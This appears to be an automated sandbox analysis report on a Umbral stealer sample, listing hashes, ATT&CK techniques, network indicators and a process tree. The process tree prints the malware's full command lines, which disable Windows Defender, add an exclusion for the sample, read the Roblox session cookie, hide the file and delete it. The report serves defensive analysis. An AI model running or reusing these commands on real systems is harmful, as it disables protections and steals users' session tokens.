umbral | f7f74aeaf94b242f73f0417796f4814c1a857eaa246ebcb7a667643d90af938e

Analysis

max time kernel
94s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
20-09-2024 10:30

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General

Target

upx.exe
Size

231KB
MD5

88b64c5cad0453a14347d415f9d4f82b
SHA1

4a613e651418497885bf4861dc27fee379eee1b9
SHA256

f7f74aeaf94b242f73f0417796f4814c1a857eaa246ebcb7a667643d90af938e
SHA512

56775a3ce0c99998c0354a5d7485fbaf01e83f247412849abd2d81461decf0e9c4fa095d43e18be74fe7225df2b6cbbc2f98f4abf5611192ef66d83abee2d7d2
SSDEEP

6144:bloZM+rIkd8g+EtXHkv/iD4irHJzZqStHY5rWWDIPb8e1m4i:5oZtL+EP8irHJzZqStHY5rWWD2y

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3256-1-0x000001A874520000-0x000001A874560000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4704	powershell.exe
640	powershell.exe
4492	powershell.exe
3780	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	upx.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3036	PING.EXE
3188	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1712	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3036	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3256	upx.exe
3780	powershell.exe
3780	powershell.exe
4704	powershell.exe
4704	powershell.exe
640	powershell.exe
640	powershell.exe
1228	powershell.exe
1228	powershell.exe
4492	powershell.exe
4492	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3256	upx.exe
Token: SeIncreaseQuotaPrivilege	4780	wmic.exe
Token: SeSecurityPrivilege	4780	wmic.exe
Token: SeTakeOwnershipPrivilege	4780	wmic.exe
Token: SeLoadDriverPrivilege	4780	wmic.exe
Token: SeSystemProfilePrivilege	4780	wmic.exe
Token: SeSystemtimePrivilege	4780	wmic.exe
Token: SeProfSingleProcessPrivilege	4780	wmic.exe
Token: SeIncBasePriorityPrivilege	4780	wmic.exe
Token: SeCreatePagefilePrivilege	4780	wmic.exe
Token: SeBackupPrivilege	4780	wmic.exe
Token: SeRestorePrivilege	4780	wmic.exe
Token: SeShutdownPrivilege	4780	wmic.exe
Token: SeDebugPrivilege	4780	wmic.exe
Token: SeSystemEnvironmentPrivilege	4780	wmic.exe
Token: SeRemoteShutdownPrivilege	4780	wmic.exe
Token: SeUndockPrivilege	4780	wmic.exe
Token: SeManageVolumePrivilege	4780	wmic.exe
Token: 33	4780	wmic.exe
Token: 34	4780	wmic.exe
Token: 35	4780	wmic.exe
Token: 36	4780	wmic.exe
Token: SeIncreaseQuotaPrivilege	4780	wmic.exe
Token: SeSecurityPrivilege	4780	wmic.exe
Token: SeTakeOwnershipPrivilege	4780	wmic.exe
Token: SeLoadDriverPrivilege	4780	wmic.exe
Token: SeSystemProfilePrivilege	4780	wmic.exe
Token: SeSystemtimePrivilege	4780	wmic.exe
Token: SeProfSingleProcessPrivilege	4780	wmic.exe
Token: SeIncBasePriorityPrivilege	4780	wmic.exe
Token: SeCreatePagefilePrivilege	4780	wmic.exe
Token: SeBackupPrivilege	4780	wmic.exe
Token: SeRestorePrivilege	4780	wmic.exe
Token: SeShutdownPrivilege	4780	wmic.exe
Token: SeDebugPrivilege	4780	wmic.exe
Token: SeSystemEnvironmentPrivilege	4780	wmic.exe
Token: SeRemoteShutdownPrivilege	4780	wmic.exe
Token: SeUndockPrivilege	4780	wmic.exe
Token: SeManageVolumePrivilege	4780	wmic.exe
Token: 33	4780	wmic.exe
Token: 34	4780	wmic.exe
Token: 35	4780	wmic.exe
Token: 36	4780	wmic.exe
Token: SeDebugPrivilege	3780	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	640	powershell.exe
Token: SeDebugPrivilege	1228	powershell.exe
Token: SeIncreaseQuotaPrivilege	4000	wmic.exe
Token: SeSecurityPrivilege	4000	wmic.exe
Token: SeTakeOwnershipPrivilege	4000	wmic.exe
Token: SeLoadDriverPrivilege	4000	wmic.exe
Token: SeSystemProfilePrivilege	4000	wmic.exe
Token: SeSystemtimePrivilege	4000	wmic.exe
Token: SeProfSingleProcessPrivilege	4000	wmic.exe
Token: SeIncBasePriorityPrivilege	4000	wmic.exe
Token: SeCreatePagefilePrivilege	4000	wmic.exe
Token: SeBackupPrivilege	4000	wmic.exe
Token: SeRestorePrivilege	4000	wmic.exe
Token: SeShutdownPrivilege	4000	wmic.exe
Token: SeDebugPrivilege	4000	wmic.exe
Token: SeSystemEnvironmentPrivilege	4000	wmic.exe
Token: SeRemoteShutdownPrivilege	4000	wmic.exe
Token: SeUndockPrivilege	4000	wmic.exe
Token: SeManageVolumePrivilege	4000	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3256 wrote to memory of 4780	3256	upx.exe	82
PID 3256 wrote to memory of 4780	3256	upx.exe	82
PID 3256 wrote to memory of 4036	3256	upx.exe	85
PID 3256 wrote to memory of 4036	3256	upx.exe	85
PID 3256 wrote to memory of 3780	3256	upx.exe	87
PID 3256 wrote to memory of 3780	3256	upx.exe	87
PID 3256 wrote to memory of 4704	3256	upx.exe	89
PID 3256 wrote to memory of 4704	3256	upx.exe	89
PID 3256 wrote to memory of 640	3256	upx.exe	91
PID 3256 wrote to memory of 640	3256	upx.exe	91
PID 3256 wrote to memory of 1228	3256	upx.exe	93
PID 3256 wrote to memory of 1228	3256	upx.exe	93
PID 3256 wrote to memory of 4000	3256	upx.exe	98
PID 3256 wrote to memory of 4000	3256	upx.exe	98
PID 3256 wrote to memory of 4072	3256	upx.exe	100
PID 3256 wrote to memory of 4072	3256	upx.exe	100
PID 3256 wrote to memory of 2468	3256	upx.exe	102
PID 3256 wrote to memory of 2468	3256	upx.exe	102
PID 3256 wrote to memory of 4492	3256	upx.exe	104
PID 3256 wrote to memory of 4492	3256	upx.exe	104
PID 3256 wrote to memory of 1712	3256	upx.exe	106
PID 3256 wrote to memory of 1712	3256	upx.exe	106
PID 3256 wrote to memory of 3188	3256	upx.exe	108
PID 3256 wrote to memory of 3188	3256	upx.exe	108
PID 3188 wrote to memory of 3036	3188	cmd.exe	110
PID 3188 wrote to memory of 3036	3188	cmd.exe	110

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4036	attrib.exe

C:\Users\Admin\AppData\Local\Temp\upx.exe
"C:\Users\Admin\AppData\Local\Temp\upx.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3256
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4780
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\upx.exe"
  2⤵
  - Views/modifies file attributes
  PID:4036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\upx.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1228
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4000
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4072
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4492
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1712
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\upx.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3188
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1a7a80ff87a5b178411ffe8ade2e904d

SHA1
9a9fd2c6dabcbaa110fea123ecd8bb5057ca0b2d

SHA256
62c1d3ae614678a98542027329b0713e563dd336f557d503b9095583d50d134a

SHA512
009529d6c538c4423b99a799bf17371cabca54f39eb95694b0ed0c3316b6448bd50f2bfbe5e778d733c46bff2eed6c6860bf909dabe70ea81a39f568284a52a8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
227556da5e65f6819f477756808c17e4

SHA1
6ffce766e881ca2a60180bb25f4981b183f78279

SHA256
101f5fe8a4192f14e9f0a12c105ca81c9f176860930af44747185dd1bedb59a4

SHA512
d46b935809d2c4b7a041ad790f2db11c0a808df022c91ae9152b8769021b884fde49653a7a46557ef9ee65e274fe0b6c8503df9b50e6b3b849fefacf51f8bd6a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ca58d1913d3261f116a299095e04f734

SHA1
941d13d0c8c65adb6513f23991acfa0d62facdea

SHA256
755daf72f2f5e983abb009c3b1eef4c7c660999f5ff581545bbcae7088c17c69

SHA512
87b0d8c9a5348235e9ad6416e09665764db1af408bf763857dc40e39411fa0cf405e3e8b9f0b8540c72aa874059d1dee865aa0cff8dba0fde5779ec9480b5e40

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c0ksji43.fm3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3256-34-0x000001A876D50000-0x000001A876D6E000-memory.dmp

Filesize
120KB

Download
memory/3256-0-0x00007FFC5CF83000-0x00007FFC5CF85000-memory.dmp

Filesize
8KB

Download
memory/3256-32-0x000001A876C40000-0x000001A876CB6000-memory.dmp

Filesize
472KB

Download
memory/3256-33-0x000001A876CC0000-0x000001A876D10000-memory.dmp

Filesize
320KB

Download
memory/3256-2-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download
memory/3256-70-0x000001A876BE0000-0x000001A876BEA000-memory.dmp

Filesize
40KB

Download
memory/3256-71-0x000001A876C10000-0x000001A876C22000-memory.dmp

Filesize
72KB

Download
memory/3256-1-0x000001A874520000-0x000001A874560000-memory.dmp

Filesize
256KB

Download
memory/3256-89-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download
memory/3780-17-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download
memory/3780-8-0x0000018E4B5A0000-0x0000018E4B5C2000-memory.dmp

Filesize
136KB

Download
memory/3780-10-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download
memory/3780-9-0x00007FFC5CF80000-0x00007FFC5DA41000-memory.dmp

Filesize
10.8MB

Download